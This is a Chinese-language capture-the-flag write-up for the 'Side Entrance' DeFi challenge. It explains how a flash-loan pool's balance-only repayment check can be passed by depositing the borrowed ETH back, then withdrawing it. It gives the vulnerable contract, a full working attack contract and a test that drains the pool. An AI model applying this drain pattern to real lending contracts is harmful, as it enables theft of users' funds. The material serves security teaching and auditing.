Appearance
潜入“侧门”:一场 ETH 的“闪电贷”冒险
在去中心化的世界里,安全审计和漏洞挖掘是守护数字资产的重中之重。今天,我们将带您走进一个名为“Side Entrance”的 CTF 挑战,体验一次充满智慧与技巧的 ETH“闪电贷”冒险。
故事背景:一个慷慨的“水池”
想象一下,有一个开放式的“水池”(SideEntranceLenderPool),它像一个慷慨的管家,允许任何人存入 ETH,并在任何时候取出。更诱人的是,它还在进行一项推广活动——提供免费的“闪电贷”(Flash Loan)服务,利用池中的 ETH 为用户提供便利。
这个“水池”一开始就拥有 1000 ETH 的巨额储备。而你,作为一名勇敢的挑战者,则拥有 1 ETH 的启动资金。你的任务只有一个:成功地将“水池”中的所有 ETH 全部“营救”出来,并安全地转移到指定的“恢复账户”(recovery account)中。
挑战的入口:SideEntranceLenderPool.sol
我们先来看看这个“水池”的 Solidity 代码:
solidity
// ... (代码省略) ...
contract SideEntranceLenderPool {
mapping(address => uint256) public balances;
// ... (省略其他函数) ...
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); // 关键点:调用外部合约的 execute 函数
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}
}
从代码中我们可以看到几个关键点:
deposit():允许任何人payable调用,将 ETH 存入池中,并更新balances映射。withdraw():允许用户提取自己账户中的全部 ETH,并将余额清零。flashLoan(uint256 amount):这是本次挑战的核心。它允许外部合约(通过IFlashLoanEtherReceiver接口)调用execute()函数,并向该函数发送指定数量的amountETH。在execute()执行完毕后,它会检查“水池”的余额是否小于调用前的余额,如果小于则抛出RepayFailed错误。
漏洞的“侧门”:闪电贷的本质
“闪电贷”是一种无需抵押即可借入任意数量资产的机制。它的核心在于“原子性”——借款、使用、还款必须在一个交易中完成。如果无法在同一交易中归还借款,整个交易就会回滚。
在这个“Side Entrance”挑战中,flashLoan 函数的设计存在一个巧妙的“侧门”。它在调用外部合约的 execute() 函数时,并没有强制要求外部合约将借到的 ETH 还回“水池”。它仅仅在 execute() 执行完毕后检查“水池”的余额是否有所减少。
巧妙的攻击思路:利用“闪电贷”的“回扣”
挑战者拥有的 1 ETH 是一个不错的起点。我们知道,flashLoan 函数会向调用者 (msg.sender) 发送 amount ETH。如果我们的攻击合约能够接收这笔 ETH,并且在 execute() 函数中做一些特殊的操作,就能制造出漏洞。
设想一下,如果我们的攻击合约在 execute() 函数中,不仅仅是接收 ETH,而是将接收到的 ETH 再次存入“水池”,同时又不主动偿还借款呢?
攻击者的“秘密武器”:MyContract.sol
这就是我们为您准备的答案合约 MyContract.sol:
solidity
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
contract MyContract is IFlashLoanEtherReceiver {
SideEntranceLenderPool private immutable target;
constructor(address _target) {
target = SideEntranceLenderPool(_target);
}
function execute() external payable {
// 关键:在这里将闪电贷的 ETH 再次存入“水池”!
target.deposit{value: msg.value}();
}
function exploit(address payable _recovery) external {
// 1. 向“水池”发起闪电贷,借走“水池”中所有的 ETH
target.flashLoan(address(target).balance);
// 2. 此时,攻击合约的 execute() 函数已经将借到的 ETH 存回了“水池”。
// 闪电贷的还款检查会因为“水池”余额未减少而通过。
// 3. 提取“水池”中所有存入的 ETH(包括我们刚才存回去的)
target.withdraw();
// 4. 将自己合约中所有的 ETH(也就是之前从“水池”取出的)发送到恢复账户。
Address.sendValue(_recovery, address(this).balance);
}
receive() external payable {}
}
攻击流程详解:
- 构造并部署攻击合约: 我们创建一个
MyContract,并将其与目标“水池”SideEntranceLenderPool关联。 - 发起闪电贷: 调用
MyContract的exploit函数。在这个函数中,我们调用target.flashLoan(address(target).balance)。这意味着我们试图借走“水池”里所有的 ETH。 execute()函数的妙用: 当flashLoan调用MyContract的execute()时,msg.value会是“水池”的全部余额。我们在execute()函数中,立即将这笔 ETH (msg.value) 通过target.deposit{value: msg.value}()再次存入“水池”。- 闪电贷的“假象”: 由于我们又把借来的 ETH 存回去了,此时“水池”的实际余额并没有减少(甚至可能略微增加)。因此,
flashLoan函数中的还款检查if (address(this).balance < balanceBefore)就不会触发RepayFailed错误。闪电贷成功“完成”,但 ETH 并没有被“归还”到原来的状态。 - “清扫”水池: 在
exploit函数的下一步,我们调用target.withdraw()。因为我们刚刚将所有 ETH 都存入了“水池”,并且“水池”现在仍然认为“我们”是持有这些 ETH 的一个地址(因为balances映射被更新了),所以withdraw()会将“水池”中所有的 ETH(包括之前借走又存回去的)全部发送到我们的攻击合约MyContract中。 - 最终转移: 最后,攻击合约
MyContract将自己所有的 ETH(也就是从“水池”中取出的所有 ETH)发送到指定的recovery地址。
胜利的曙光:Test 脚本
在 SideEntrance.t.sol 测试脚本中,我们只需要这样做:
solidity
function test_sideEntrance() public checkSolvedByPlayer {
MyContract m = new MyContract(address(pool)); // 部署攻击合约
m.exploit(payable(recovery)); // 调用 exploit 函数,将 ETH 转移到 recovery 地址
}
至此,我们就成功地利用了“Side Entrance”的“侧门”,将“水池”中的所有 ETH 转移到了指定的恢复账户,完成了挑战!
总结
“Side Entrance”挑战巧妙地利用了 Solidity 中函数调用和 ETH 转移的细节,尤其是闪电贷机制的实现方式。它提醒我们,即使是看似简单的合约,也可能隐藏着意想不到的漏洞。在 DeFi 的世界里,每一个细节都至关重要,唯有深入理解和细致审计,才能筑牢资产安全的堤坝。